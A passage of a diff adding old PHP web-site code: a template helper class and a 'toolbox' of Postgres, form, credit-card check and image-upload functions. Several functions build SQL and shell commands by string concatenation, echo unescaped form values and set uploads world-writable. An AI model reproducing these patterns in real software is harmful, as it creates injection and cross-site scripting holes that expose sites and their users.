+ $row=$this->DB->db_auto_get_data($qs);
+ if(!is_array($row))
+ {
+ return FALSE;
+ }else
+ {
+ $z=1; // used to find the 3rd image
+ for($i=0;$i<sizeof($row);$i++)
+ {
+ if($z==3)
+ {
+ $z=1;
+ $brtag='<br clear="all">';
+ }else
+ {
+ $brtag='';
+ $z++;
+ }
+ $url = $this->get_seo_url( $row[$i]['id'] );
+ $title = strip_tags(addslashes($row[$i]['intro']));
+ $return.='<div class="products"><a title="'.$title.'" href="'.$url.'"class="text">'.$row[$i]['category'].'</a>'."\n".'<a href="'.URL_BASE.$p.$category.'"class="image">';
+ if($row[$i][image]!='')
+ {
+ $return.='<img src="'.THUMB.$row[$i][image].'">';
+ }
+
+ $return.='</a>'."</div>$brtag\n";
+ }
+ return $return;
+ }
+ }
+
+ /**
+ * print_ancestors:print out the ancestors
+ * @param integer $catid: the id to start at.
+ *
+ * @return string
+ * @access public
+ **/
+ function print_ancestors($catid)
+ {
+ $string = GLM_TEMPLATE::get_ancestors($catid,0);
+ echo '<!--';
+ print_r($string);
+ echo '-->';
+ if(is_array($string))
+ {
+ if(count($string) > 1)
+ {
+ $url = $this->get_seo_url( 1 );
+ $outarray[] = '<a href="'.$url.'">Home</a>';
+ }
+ $end = count( $string ) - 1;
+ for($i=0;$i<$end;$i++)
+ {
+ $outarray[] = '<a href="'.$string[$i]["link"].'">'.$string[$i]["label"].'</a>';
+ }
+ $outarray[] = $this->get_catheader( $catid, &$this->DB );
+ if( is_array( $outarray ) && count( $outarray ) > 1 )
+ {
+ $out .= implode( " » ", $outarray );
+ }
+ }
+ return( '<div id="breadcrumbs">'.$out.'</div>' );
+ }
+
+ /**
+ * build_picklist:
+ * @param string $fieldname:
+ * @param array $data:
+ * @param mixed $selected:
+ * @param string $type = "standard":
+ * @param boolean $auto = 0:
+ * @param integer $width = NULL :
+ *
+ * @return string
+ * @access public
+ **/
+ function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+ {
+ if(!is_array($selected))
+ {
+ $sel[0] = $selected;
+ }
+ else
+ {
+ $sel = $selected;
+ }
+ if($auto == 1)
+ {
+ $autosubmit = "onChange=\"form.submit()\"";
+ }
+ if($width)
+ {
+ $autosubmit .= "style=\"width:".$width."px;\"";
+ }
+ switch( $type )
+ {
+ case "multiple":
+ $str = "<SELECT id=\"".$fieldname."\" NAME=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+ while( list($key, $val) = each($data) )
+ {
+ if( in_array($key,$sel) )
+ {
+ $select = " SELECTED ";
+ }
+ else
+ {
+ $select = "";
+ }
+ $str .= " <OPTION VALUE=\"$key\"".$select.">$val\n";
+ }
+ break;
+ case "simple":
+ $str = "<SELECT id=\"".$fieldname."\" NAME=\"$fieldname\" ".$autosubmit.">\n";
+ for( $i=0 ; $i<count($data) ; $i++ )
+ {
+ $select = (in_array($data[$i],$sel)) ? " SELECTED ":"";
+ $str .= " <OPTION VALUE=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+ }
+ break;
+
+ case "standard":
+ default:
+ $str = "<SELECT id=\"".$fieldname."\" NAME=\"$fieldname\" ".$autosubmit.">\n";
+ while( list($key, $val) = each($data) )
+ {
+ $select = (in_array($key,$sel)) ? " SELECTED ":"";
+ $str .= " <OPTION VALUE=\"$key\"".$select.">$val\n";
+ }
+ break;
+ }
+ $str .= "</SELECT>\n";
+ return( $str );
+ }
+
+ /**
+ * keyword_replace:
+ *
+ * @param string $string:
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return string
+ * @access public
+ **/
+ function keyword_replace($string)
+ {
+ //return($string);
+ if($search = strstr($string,"{"))
+ {
+ if(ereg("\{([A-Za-z0-9\&\-\,\'\" ]*)\}",$string,$needle))
+ {
+ if($needle[0] != "")
+ {
+ $qs = "SELECT id,category
+ FROM bus_category
+ WHERE trim(keyword) = '".trim($needle[1])."'";
+
+ $keyres = $this->DB->db_auto_get_data($qs);
+ $parent = $this->get_top_parent($keyres[0]['id'],&$this->DB);
+ $url = $this->get_seo_url( $keyres[0]['id'] );
+ $replacement = "<a href=\"".$url."\">".htmlspecialchars($keyres[0]['category'])."</a>";
+ $string = str_replace($needle[0],$replacement,$string);
+ }
+ }
+ else{
+ return($string);
+ }
+ if($search = strstr($string,"{"))
+ return($this->keyword_replace($string));
+ }
+ return($string);
+ }
+ /**
+ * getIdFromName:
+ *
+ * @param string $name:
+ * @param string $table:
+ * @param object $DB:
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @deprecated Don't use this! THIS IS A WARNING (this funcion will be gone next time)
+ * @return string
+ * @access public
+ **/
+ function get_id_from_name( $name, $table, &$DB)
+ {
+ if( $name == "" )
+ {
+ return( 0 );
+ }
+ if( is_numeric( $name ) )
+ {
+ return( $name );
+ }
+ if( ereg("(.*)/$",$name,$tmp) )
+ {
+ $name = $tmp[1];
+ }
+ $category = "category";
+ if( ereg("-([0-9]*)$",$name,$tmp ) )
+ {
+ $id = $tmp[1];
+ return( $id );
+ }
+ // should already be returning id at this point
+ // putting the _id on the end of all url's as
+ // the other way is very inifiecent for the database.
+ $name = str_replace( "-"," ",$name );
+ $query = "select id from $table where trim(lower(replace(replace(replace(replace(replace(replace($category,'\'',''),'/',''),'-',' '),'#',''),'&',''),'?',''))) = '".trim(strtolower($name))."'";
+ $data = $DB->db_auto_get_data( $query );
+ if( is_array( $data ) )
+ {
+ foreach( $data as $key=>$val )
+ {
+ $catid = $val['id'];
+ }
+ return( $catid );
+ }
+ else
+ {
+ return( 0 );
+ }
+ }
+
+ /**
+ * get_base_url: generate the base of the url for the given category id
+ * @param integer $id :
+ *
+ * @return string
+ * @access public
+ **/
+ function get_base_url( $id )
+ {
+ if( $this->pages[$id] )
+ {
+ $page = $this->pages[$id];
+ }
+ else
+ {
+ $page = $this->pages['default'];
+ }
+ if( $GLOBALS['GLM_SERVER_ID'] == 'ws1.gaslightmedia.com' && $this->catid == 1 )
+ {
+ $page = '';
+ }
+ return( $page );
+ }
+
+ /**
+ * getCategoryName:
+ *
+ * @param integer $id:
+ * @param string $table:
+ * @param object &$DB :
+ * @uses GLM_DB::db_auto_get_data()
+ *
+ * @return void
+ * @access public
+ **/
+ function get_category_name( $id, $table,&$DB )
+ {
+ if( !is_numeric( $id ) )
+ {
+ return( false );
+ }
+ if($table == "class_category")
+ {
+ $category = "name";
+ }
+ else
+ {
+ $category = "category";
+ }
+ $query = "select $category from $table where id = $id";
+ $data = $DB->db_auto_get_data( $query );
+ if( is_array( $data ) )
+ {
+
+ $add = '-'.$id;
+ if( $data[0]['category'] )
+ {
+ $category = $data[0]['category'].$add;
+ }
+ elseif( $data[0]['name'])
+ {
+ $category = $data[0]['name'].$add;
+ }
+ else
+ {
+ $category = $add;
+ }
+ return( htmlspecialchars($category) );
+ }
+ }
+
+
+
+
+
+
+
+
+ /**
+ * setNameUrl:
+ * @param string $name :
+ *
+ * @return string
+ * @access public
+ **/
+ function set_name_url( $name )
+ {
+ $name = strtolower( trim( str_replace( " ","-",$name ) ) );
+ $name = str_replace( "/","",$name );
+ $name = str_replace( "#","",$name );
+ $name = str_replace( "&","",$name );
+ $name = str_replace( "amp;","",$name );
+ $name = str_replace( "?","",$name );
+ $name = str_replace( "'","",$name );
+ return( htmlspecialchars(strip_tags( $name ) ) );
+ }
+
+ /** valid email
+ *
+ * <p>Checks for a valid format and good (mx check)
+ * email address.</p>
+ * @deprecated using GLM_TOOLBOX::valid_email()
+ * @uses GLM_TOOLBOX::valid_email()
+ *
+ * @param string email the email address as string.
+ * @return boolean
+ */
+ function valid_email ($email) {
+ return( GLM_TOOLBOX::valid_email($email) );
+ }
+}
+?>
--- /dev/null
+<?php
+/**
+* Toolbox Classes :)
+*
+* <p>
+* These classes and any code is not licensed for anyone but gaslight to use
+* {@link http://www.gaslightmedia.com www.gaslightmedia.com}
+* </p>
+*
+* @package Toolbox
+* @tutorial Toolbox/Toolbox.pkg
+* @filesource
+*
+*/
+/**
+* Toolbox Class :)
+*
+* <p><b>NOTICE</b>
+* Im going to be moving all functions from the setup.phtml file and putting it into this</p>
+* <p>class. This is so we can eventially move everything to one siteinfo.inc file.</p>
+* <kbd>matrix@devsys Does this work?</kbd>
+*
+* @package Toolbox
+* @author $Author: matrix $
+* @copyright 2005
+* @version $Revision: 1.3 $
+* @since $Date: 2011/06/06 18:24:41 $
+*
+* @todo move all functions from setup.phtml into here
+*/
+class GLM_TOOLBOX
+{
+ /** @var array php_version */
+ var $php_version;
+ /** @var boolean true if php is version < 4.2 */
+ var $php_old_pg;
+
+ /**
+ * GLM_TOOLBOX
+ *
+ * @access public
+ * @return void
+ */
+ function GLM_TOOLBOX()
+ {
+ $this->php_version = $this->php_version_check();
+ $this->php_old_pg = $this->php_old_pg();
+ }
+
+ /**
+ * php_version_check
+ *
+ * @access public
+ * @return void
+ */
+ function php_version_check()
+ {
+ $this->php_version = explode(".",phpversion());
+ return( $this->php_version );
+ }
+
+ /**
+ * php_old_pg
+ *
+ * <p>after php 4.2 they changed the pg_ functions for postgres </p>
+ *
+ * @access public
+ * @return void
+ */
+ function php_old_pg()
+ {
+ switch( $this->php_version[0] )
+ {
+ case 5:
+ return( false );
+ break;
+
+ case 4:
+ switch( $php_version[1] )
+ {
+ case 2:
+ return( false );
+ break;
+ case 1:
+ return( true );
+ break;
+ }
+ break;
+ }
+ }
+
+ /**
+ * Create a hyper link
+ *
+ * <p>$options array is $options = array( 'href'=>'', 'text'=>'', 'title'=>'',
+ * 'onMouseover'=>'', 'onMouseout'=>'','id'=>'' );</p>
+ * @param $options : an array
+ *
+ * @return string for the hyper link
+ * @access public
+ **/
+ function create_href( $options )
+ {
+ if( !is_array( $options ) )
+ {
+ return( false );
+ }
+ else
+ {
+ $title = ( $options['title'] && $options['title'] != '' ) ? ' title="'.$options["title"].'"': '';
+ $text = ( $options['text'] && $options['text'] != '' ) ? strip_tags( $options["text"] ) : '';
+ $onClick = ( $options['onClick'] && $options['onClick'] != '' ) ? ' onClick="'.$options["onClick"].'"': '';
+ $onMouseover = ( $options['onMouseover'] && $options['onMouseover'] != '' ) ? ' onMouseover="'.$options["onMouseover"].'"': '';
+ $onMouseout = ( $options['onMouseout'] && $options['onMouseout'] != '' ) ? ' onMouseout="'.$options["onMouseout"].'"': '';
+ $id = ( $options['id'] && $options['id'] != '' ) ? ' id="'.$options["id"].'"': '';
+ $out = '<a'.$title.$onClick.$onMouseout.$id.' href="'.$options["href"].'">'.$text.'</a>';
+ return( $out );
+ }
+ }
+
+ /**
+ * CreditVal : CreditVal Checks for a valid credit card number doing Luhn check, if no
+ card type is given, attempts to guess. Then, if a list of
+ accepted types is given, determines whether or not we'll
+ accept it
+ * @param string $Num: Credit Card Number
+ * @param string $Name = '': Type of Card
+ * @param array $Accepted='' : Accepted array
+ *
+ * @return bool
+ * @access public
+ **/
+ function CreditVal($Num, $Name = '', $Accepted='')
+ {
+ $Name = strtolower( $Name );
+ $Accepted = strtolower( $Accepted );
+ $GoodCard = 1;
+ $Num = ereg_replace("[^[:digit:]]", "", $Num);
+ switch ($Name)
+ {
+
+ case "mastercard" :
+ $GoodCard = ereg("^5[1-5].{14}$", $Num);
+ break;
+
+ case "visa" :
+ $GoodCard = ereg("^4.{15}$|^4.{12}$", $Num);
+ break;
+
+ case "americanexpress" :
+ $GoodCard = ereg("^3[47].{13}$", $Num);
+ break;
+
+ case "discover" :
+ $GoodCard = ereg("^6011.{12}$", $Num);
+ break;
+
+ case "dinerscard" :
+ $GoodCard = ereg("^30[0-5].{11}$|^3[68].{12}$", $Num);
+ break;
+
+ default:
+ if( ereg("^5[1-5].{14}$", $Num) ) $Name = "mastercard";
+ if( ereg("^4.{15}$|^4.{12}$", $Num) ) $Name = "visa";
+ if( ereg("^3[47].{13}$", $Num) ) $Name = "americanexpress";
+ if( ereg("^6011.{12}$", $Num) ) $Name = "discover";
+ if( ereg("^30[0-5].{11}$|^3[68].{12}$", $Num) ) $Name="dinerscard";
+ break;
+ }
+
+ // If there's a limit on card types we accept, check for it here.
+ if( $Accepted )
+ {
+ $type_verified = FALSE;
+ $brands = explode( ",", $Accepted );
+ foreach( $brands as $brand )
+ {
+ if( $Name == $brand )
+ {
+ $type_verified = TRUE;
+ }
+ }
+ if( !$type_verified ) return(FALSE);
+ }
+ $Num = strrev($Num);
+ $Total = 0;
+ for ($x=0; $x<strlen($Num); $x++)
+ {
+ $digit = substr($Num,$x,1);
+ if ($x/2 != floor($x/2))
+ {
+ $digit *= 2;
+ if (strlen($digit) == 2)
+ {
+ $digit = substr($digit,0,1) + substr($digit,1,1);
+ }
+ }
+ $Total += $digit;
+ }
+ if ($GoodCard && $Total % 10 == 0)
+ {
+ return(true);
+ }
+ else
+ {
+ return(false);
+ }
+ }
+ /**
+ * db_connect :Creates a connection to database specified $conn_str
+ * @param string $conn="" : connection string
+ *
+ * @return index or bool
+ * @access public
+ **/
+ function db_connect($conn="")
+ {
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ if($conn == "")
+ {
+ $conn = CONN_STR;
+ }
+ $ret = pg_connect($conn);
+ break;
+ default:
+ return(0);
+ }
+ return($ret);
+ }
+
+ /**
+ * db_close :Closes the connection to database specified by the handle dbd
+ * @param object $dbd : database handle
+ *
+ * @return bool
+ * @access public
+ **/
+ function db_close($dbd)
+ {
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $ret = pg_close($dbd);
+ break;
+ default:
+ return(0);
+ }
+
+ return($ret);
+ }
+
+ /**
+ NOTICE DON'T USE THIS
+ * db_pconnect :Creates a persistant connection to database specified in $conn_str
+ * @param string $conn="" : connection string
+ *
+ * @return mixed
+ * @access public
+ **/
+ function db_pconnect($conn="")
+ {
+ return( false );
+ }
+
+ /**
+ * db_exec : Execute an SQL query
+ * @param object $dbd: database handle
+ * @param string $qs : Query
+ *
+ * @return int Returns a valid result index on success 0 on failure
+ * @access public
+ **/
+ function db_exec($dbd, $qs)
+ {
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ if( $this->php_old_pg )
+ {
+ $ret = pg_exec($dbd, $qs);
+ }
+ else
+ {
+ $ret = pg_query($dbd, $qs);
+ }
+ break;
+
+ default:
+ return(0);
+ }
+ return($ret);
+ }
+
+ /**
+ * db_fetch_array :Stores the data in associative indices, using the field names as
+ * keys.
+ * @param resource $res: valid database result index
+ * @param int $i: row number
+ * @param string $type : database type
+ *
+ * @return array Returns an associative array of key-value pairs
+ * @access public
+ **/
+ function db_fetch_array($res, $i, $type)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ $row = pg_fetch_array($res, $i, $type);
+ break;
+
+ default:
+ return(0);
+ }
+
+ return($row);
+ }
+
+ /**
+ * db_freeresult :Free result memory.
+ * @param resource $res : valid database result index
+ *
+ * @return bool - Returns 1 for success 0 for failure
+ * @access public
+ **/
+ function db_freeresult($res)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ if( $this->php_old_pg )
+ {
+ $ret = pg_freeresult($res);
+ }
+ else
+ {
+ $ret = pg_free_result($res);
+ }
+ break;
+
+ default:
+ return(0);
+ }
+
+ return($ret);
+ }
+
+ /**
+ * db_numrows :Determine number of rows in a result index
+ * @param resource $res : valid database result index
+ *
+ * @return int - Returns number of rows
+ * @access public
+ **/
+ function db_numrows($res)
+ {
+
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ if( $this->php_old_pg )
+ {
+ $ret = pg_numrows($res);
+ }
+ else
+ {
+ $ret = pg_num_rows($res);
+ }
+ break;
+
+ default:
+ return(-1);
+ }
+
+ return($ret);
+ }
+ /**
+ * db_auto_array
+ *
+ * The auto function for retrieving an array based soley on a query
+ * string. This function makes the connection, does the exec, fetches
+ * the array, closes the connection, frees memory used by the result,
+ * and then returns the array
+ *
+ * @param mixed $qs
+ * @param mixed $i
+ * @param mixed $type
+ * @access public
+ * @return void
+ */
+ function db_auto_array($qs, $i, $type)
+ {
+
+ $dbd = GLM_TOOLBOX::db_connect();
+ if(!$dbd)
+ {
+ return(0);
+ }
+ $res = GLM_TOOLBOX::db_exec($dbd, $qs);
+ if(!$res)
+ {
+ return(0);
+ }
+
+ $row = GLM_TOOLBOX::db_fetch_array($res, $i, $type);
+
+ if(!GLM_TOOLBOX::db_freeresult($res))
+ {
+ return(0);
+ }
+
+ GLM_TOOLBOX::db_close($dbd);
+ return($row);
+ }
+
+ /**
+ * db_auto_exec :The auto function for executing a query.
+ * This function makes the connection, does the exec, fetches
+ * the array, closes the connection, frees memory used by the result,
+ * and then returns success (not a valid result index)
+ * @param string $qs: SQL query string
+ * @param string $conn="" : Connect String
+ *
+ * @return int - Returns 1 (or oid, if available) for success 0 for failure
+ * @access public
+ **/
+ function db_auto_exec($qs, $conn="")
+ {
+
+ if($conn == "")
+ {
+ $conn = CONN_STR;
+ }
+ $dbd = GLM_TOOLBOX::db_connect($conn);
+ if(!$dbd)
+ {
+ return(0);
+ }
+ if(!GLM_TOOLBOX::db_exec($dbd, $qs))
+ {
+ GLM_TOOLBOX::db_close($dbd);
+ return(0);
+ }
+ else
+ {
+ GLM_TOOLBOX::db_close($dbd);
+ return(1);
+ }
+ }
+
+ /**
+ * db_auto_get_data :The auto function for retrieving an array based soley on a query
+ * string. This function makes the connection, does the exec, fetches
+ * the array, closes the connection, frees memory used by the result,
+ * and then returns the array
+ * @param string $qs: SQL query string
+ * @param string $CONN_STR: Connect String
+ * @param boolean $fail_mode=0 : Failure Mode
+ *
+ * @return array Returns an associative array of key-value pairs
+ * @access public
+ **/
+ function db_auto_get_data($qs,$conn = CONN_STR,$fail_mode=0)
+ {
+
+ if( !($dbd = GLM_TOOLBOX::db_connect($conn)) )
+ {
+ return( FALSE );
+ }
+
+ if( !($res = GLM_TOOLBOX::db_exec($dbd, $qs)) )
+ {
+ return( FALSE );
+ }
+
+ $totalrows = pg_NumRows($res);
+
+ for( $i = 0 ; $i < $totalrows ; $i++ )
+ {
+ $data[$i] = GLM_TOOLBOX::db_fetch_array($res, $i, PGSQL_ASSOC );
+ }
+
+ GLM_TOOLBOX::db_close( $dbd );
+ if(isset($data) && $data!="")
+ {
+ return( $data );
+ }
+ else
+ {
+ return(0);
+ }
+ }
+ /**
+ * html_footer :Generates a footer table on the bottom of the page it's called on.
+ * and closes out the body and html tags.
+ *
+ * @return void
+ * @access public
+ **/
+ function html_footer()
+ {
+ $out = '</body>
+ </html>';
+ die( $out ); /* we've got to terminate any more output */
+ }
+
+ /**
+ * html_error :Generates a footer table on the bottom of the page it's called on.
+ * and closes out the body and html tags.
+ * @param string $msg: string error message to be displayed
+ * @param boolean $bail : bool whether or not to exit() after $msg
+ *
+ * @return void
+ * @access public
+ **/
+ function html_error($msg, $bail)
+ {
+ echo '<div style="color:red;"><pre>'.$msg.'</pre>></div>';
+ if($bail)
+ {
+ GLM_TOOLBOX::html_footer();
+ }
+ }
+
+ /**
+ * html_nav_table
+ *
+ * @param mixed $nav
+ * @param mixed $w
+ * @access public
+ * @return void
+ */
+ function html_nav_table($nav, $w)
+ {
+ if( is_array( $nav ) )
+ {
+ $out = '<ul class="admin_nav">';
+ foreach( $nav as $link => $url )
+ {
+ $out .= '<li><a href="'.$url.'">'.$link.'</a></li>';
+ }
+ $out .= '</ul>';
+ }
+ echo $out;
+ }
+
+ /**
+ * html_header :Opens up the html tags, and includes the style sheet link
+ generates a header table on the top of the page it's called on.
+ * @param string $title: Page Title
+ * @param string $msg: message to display
+ * @param string $img : image to display
+ *
+ * @return void
+ * @access public
+ **/
+ function html_header($title, $msg, $img)
+ {
+ $header_table_width = "400";
+ $header_table_align = "center";
+ echo '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+"http://www.w3.org/TR/html4/loose.dtd">
+<html>
+ <head>
+ <title><?echo $title?></title>
+ <link type="text/css" rel=stylesheet href="<?echo STYLE?>">
+ </head>
+ <body>
+ <table width="<?echo $header_table_width?>" align="<?echo $header_table_align?>" summary="Header Information" class="headertable" cellspacing="0" cellpadding="3">
+ <tr class="headertr">
+ <td class="headertd">';
+ if($img)
+ {
+ echo '<img src="<?echo IMG_BASE.$img?>" alt="<?echo HEAD?>" border="0">';
+ }
+ echo '</td>
+ </tr>
+ <tr>
+ <td class="headertd2" align="center">
+ <div class="headerh2" align="center"><?echo "$msg"?></div>
+ </td>
+ </tr>
+ </table>';
+ }
+
+ /**
+ * form_header :Opens up the form tag, and includes the hidden assoc array as hidden
+ fields.
+ * @param string $action: string form action string
+ * @param string $method: string Method of form
+ * @param string $hidden = "" : assoc array with $hidden($name => $value)
+ *
+ * @return void
+ * @access public
+ **/
+ function form_header($action, $method, $hidden = "")
+ {
+ echo "<form action=\"$action\" method=\"$method\"
+ enctype=\"multipart/form-data\">";
+ if($hidden != "" && is_array($hidden))
+ {
+ foreach($hidden as $key=>$value)
+ {
+ echo "<input type=\"hidden\" name=\"$key\" value=\"$value\">";
+ }
+ }
+ }
+
+ /**
+ * text_area :Creates textarea with good default values for rows cols and wrap.
+ * @param string $name: string form action string
+ * @param string $value: string Method of form
+ * @param int $rows = 15: int4 number of rows in textarea box
+ * @param int $cols = 50: int4 number of cols in textarea box
+ * @param string $wrap = "virtual" : string the wrap value for the textarea box
+ *
+ * @return void
+ * @access public
+ **/
+ function text_area($name, $value, $rows = 15, $cols = 50, $wrap = "virtual" )
+ {
+ echo "<td class=\"navtd2\"><textarea id=\"$name\" name=\"$name\" cols=\"$cols\"
+ rows=\"$rows\" wrap=\"$wrap\" maxlength=\"8104\">$value</textarea></td>";
+ }
+
+ /**
+ * text_box :Creates a input box for text with 35 as default size
+ * @param string $name: string name of text box
+ * @param string $value: string value of text box
+ * @param int $size = 35 : string size of text box
+ *
+ * @return void
+ * @access public
+ **/
+ function text_box($name, $value, $size = 35)
+ {
+ echo "<td class=\"navtd2\"><input type=\"text\" name=\"$name\"
+ value=\"".htmlspecialchars($value)."\" size=\"$size\"></td>";
+ }
+
+ /**
+ * form_footer :Closes up the form tag, and includes the submit button
+ * @param string $name: string form action string
+ * @param boolean $suppress = 0: string Method of form
+ * @param int $cs : int colspan for td
+ *
+ * @return void
+ * @access public
+ **/
+ function form_footer($name, $suppress = 0, $cs)
+ {
+ echo "<tr><td colspan=\"$cs\" align=center>
+ <input type=\"SUBMIT\" name=\"Command\" value=\"$name\">";
+ if($suppress == 1)
+ {
+ echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Delete\">";
+ }
+ /* echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Cancel\">";*/
+ echo "</td>";
+ }
+
+ /**
+ * process_image :Main function for image processing
+ * NOTES:
+ * This function does the following:
+ *
+ * 1) places image into original folder
+ *
+ * 2) makes three images from original size and places them
+ * into the RESIZED, MIDSIZED, and THUMB folders
+ * @param string $image: The variable of the image being post from the form
+ * @param string $image_name : The variable_name of the image being post
+ *
+ * @return string - Returns $image_name
+ * @access public
+ **/
+ function process_image ($image,$image_name)
+ {
+ if(!defined("ORIGINAL_PATH"))
+ {
+ html_error("this not defined original_path",1);
+ }
+ if(!defined("RESIZED_PATH"))
+ {
+ html_error("this not defined resized_path",1);
+ }
+ if(!defined("MIDSIZED_PATH"))
+ {
+ html_error("this not defined midsized_path",1);
+ }
+ if(!defined("THUMB_PATH"))
+ {
+ html_error("this not defined thumb_path",1);
+ }
+ $image_upload_array = img_upload($image,$image_name,ORIGINAL_PATH);
+ //img_resize($image_upload_array[1],ORIGINAL_PATH.$image_upload_array[0],ITEM_ORIGINAL);
+ img_resize(ORIGINAL_PATH.$image_upload_array[0],RESIZED_PATH.$image_upload_array[0],ITEM_RESIZED);
+ img_resize(RESIZED_PATH.$image_upload_array[0],MIDSIZED_PATH.$image_upload_array[0],ITEM_MIDSIZED);
+ img_resize(MIDSIZED_PATH.$image_upload_array[0],THUMB_PATH.$image_upload_array[0],ITEM_THUMB);
+ $image_name = $image_upload_array[0];
+ return($image_name);
+ }
+
+ /**
+ * img_resize
+ *
+ * @param mixed $path2image
+ * @param mixed $path2thumb
+ * @param mixed $size
+ * @access public
+ * @return void
+ */
+ function img_resize($path2image,$path2thumb,$size)
+ {
+ exec( "which convert", $output, $return );
+ if( $return == 0 )
+ {
+ $command = $output[0];
+ $pos = strpos($command,"convert");
+ $Path2GraphicsTools = substr( $command, 0, $pos - 1 );
+ }
+ else
+ {
+ $Path2GraphicsTools = "/usr/X11R6/bin";
+ }
+ $imageName = basename($path2image);
+ $thumbName = basename($path2thumb);
+
+ exec("$Path2GraphicsTools/convert -quality 100 -scale $size $path2image $path2thumb");
+
+ $img_resize_array = array("$imageName","$path2image","$thumbName","$path2thumb");
+ return($img_resize_array);
+ }
+
+ /**
+ * img_upload :Function moves the image to the destination directory
+ Checking to make sure that it does not have same named file in dicectory.
+ Image must be either jpg ,png or gif format file to be uploaded.
+ * @param string $form_field: $form_field of image
+ * @param string $img_name: $form_field of image with _name
+ * @param string $destination_path : path to store uploaded image
+ *
+ * @return array $img_upload_array
+ * @access public
+ **/
+ function img_upload($form_field,$img_name,$destination_path)
+ {
+ if (ereg("[!@#$%^&()+={};:\'\" ]",$img_name))
+ {
+ $img_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","-",$img_name);
+ }
+
+ $size = getImageSize($form_field);
+
+ if( $size[2] == 1 || $size[2] == 2 || $size[2] == 3 )
+ {
+ $img_name_in_use = "FALSE";
+ if( file_exists(RESIZED_PATH.$img_name) )
+ {
+ $img_name_in_use = "TRUE";
+ }
+
+ if ($img_name_in_use == "TRUE")
+ {
+ $new_img_name = mktime().$img_name;
+ $new_img_location = $destination_path.'/'.$new_img_name;
+
+ copy($form_field,$new_img_location);
+
+ chmod($new_img_location, 0666);
+
+ $img_upload_array = array("$new_img_name","$new_img_location");
+ }
+ else
+ {
+ $new_img_name = $img_name;
+ $new_img_location = $destination_path.'/'.$new_img_name;
+
+ copy($form_field,$new_img_location);
+
+ chmod($new_img_location, 0666);
+
+ $img_upload_array = array("$new_img_name","$new_img_location");
+ }
+ }
+ else
+ {
+ echo '<p style="background-color:red;color:white;">'
+ .'The file you uploaded was of an incorect type, please only upload .gif,.png or .jpg files'
+ .'<BR CLEAR=ALL>'
+ .'</p>'
+ ."Hit your browser's back button to continue"
+ .'<P>';
+ $error[0] = "ERROR";
+ return($error);
+ }
+
+ return($img_upload_array);
+ }
+
+ /**
+ * file_upload :Uploads a file same way as image_uploads does
+ * @param string $form_field: $form_field of image
+ * @param string $file_name: $form_field of image with _name
+ * @param string $destination_path : path to store uploaded image
+ *
+ * @return string $file_upload
+ * @access public
+ **/
+ function file_upload($form_field,$file_name,$destination_path)
+ {
+ if (ereg("[!@#$%^&()+={};:\'\" ]",$file_name))
+ {
+ $file_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","_",$file_name);
+ }
+
+ $file_name_in_use = "FALSE";
+ if( file_exists(UP_BASE.$file_name) )
+ {
+ $img_name_in_use = "TRUE";
+ }
+
+ if ($file_name_in_use == "TRUE")
+ {
+ $new_file_name = mktime().$file_name;
+ $new_file_location = $destination_path.'/'.$new_file_name;
+
+ copy($form_field,$new_file_location);
+
+ chmod($new_file_location, 0666);
+
+ $file_upload = $new_file_name;
+ }
+ else
+ {
+ $new_file_name = $file_name;
+ $new_file_location = $destination_path.'/'.$new_file_name;
+
+ copy($form_field,$new_file_location);
+
+ chmod($new_file_location, 0666);
+
+ $file_upload = $new_file_name;
+ }
+ return($file_upload);
+ }
+
+ /* Misc. Functions */
+
+ /**
+ * http_strip :Strips the http:// part from start of string
+ * @param string $string : $string
+ *
+ * @return string $stirng minus http:// in front
+ * @access public
+ **/
+ function http_strip(&$string)
+ {
+ $test_string = strtolower($string);
+ if(substr($test_string,0,7) == "http://")
+ {
+ $string = substr($string,7);
+ }
+ }
+
+ /**
+ * footer
+ *
+ * used for admin page footer to close out the top function
+ *
+ * @access public
+ * @return void
+ */
+ function footer()
+ {
+ $out = '
+ </body>
+</html>
+';
+}
+
+ /**
+ * top
+ *
+ * Output the starting html and admin table tags
+ *
+ * @param mixed $message
+ * @param mixed $hp
+ * @param mixed $hp2
+ * @access public
+ * @return void
+ */
+ function top($message, $hp,$hp2 = NULL)
+ {
+ $out = '
+ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+ <html>
+ <head>
+ <title>Untitled</title>
+ <meta http-equiv="content-type" content="text/html;charset=utf-8">
+ <link rel="stylesheet" type="text/css" href="../main.css">
+ <script type="text/javascript" src="event.js"></script>
+ </head>
+ <body>
+ <h1>'.$message.'</h1>
+ ';
+ echo $out;
+ }
+
+ /**
+ * top2
+ *
+ * top2 : alias to top()
+ *
+ * @param mixed $message
+ * @param mixed $hp
+ * @param mixed $hp2
+ * @uses GLM_TOOLBOX::top()
+ * @access public
+ * @return void
+ */
+ function top2($message, $hp,$hp2 = NULL)
+ {
+ // make this an alias to top()
+ // by calling top instead of adding extra code
+ GLM_TOOLBOX::top($message,$hp,$hp2);
+
+ }
+
+ /**
+ * htmlcode: Output code to enable htmlarea for the page
+ * MUST BE CALLED AFTER TEXTAREAS ON PAGE
+ * @param mixed $w = 570: width of htmlarea in px
+ * @param mixed $h = 400: height of htmlarea in px
+ *
+ * @return void
+ * @access public
+ **/
+ function htmlcode($w = 570,$h = 400)
+ {
+ echo '
+ <style type="text/css">
+ /*<![CDATA[*/
+ <!--
+ .textarea { height: '.$h.'px; width: '.$w.'px; }
+ -->
+ /*]]>*/
+ </style>
+ <script type="text/javascript">
+ //<![CDATA[
+ _editor_url = "'.URL_BASE.'admin/htmlarea";
+ _editor_lang = "en";
+ //]]>
+ </script><!-- load the main HTMLArea file -->
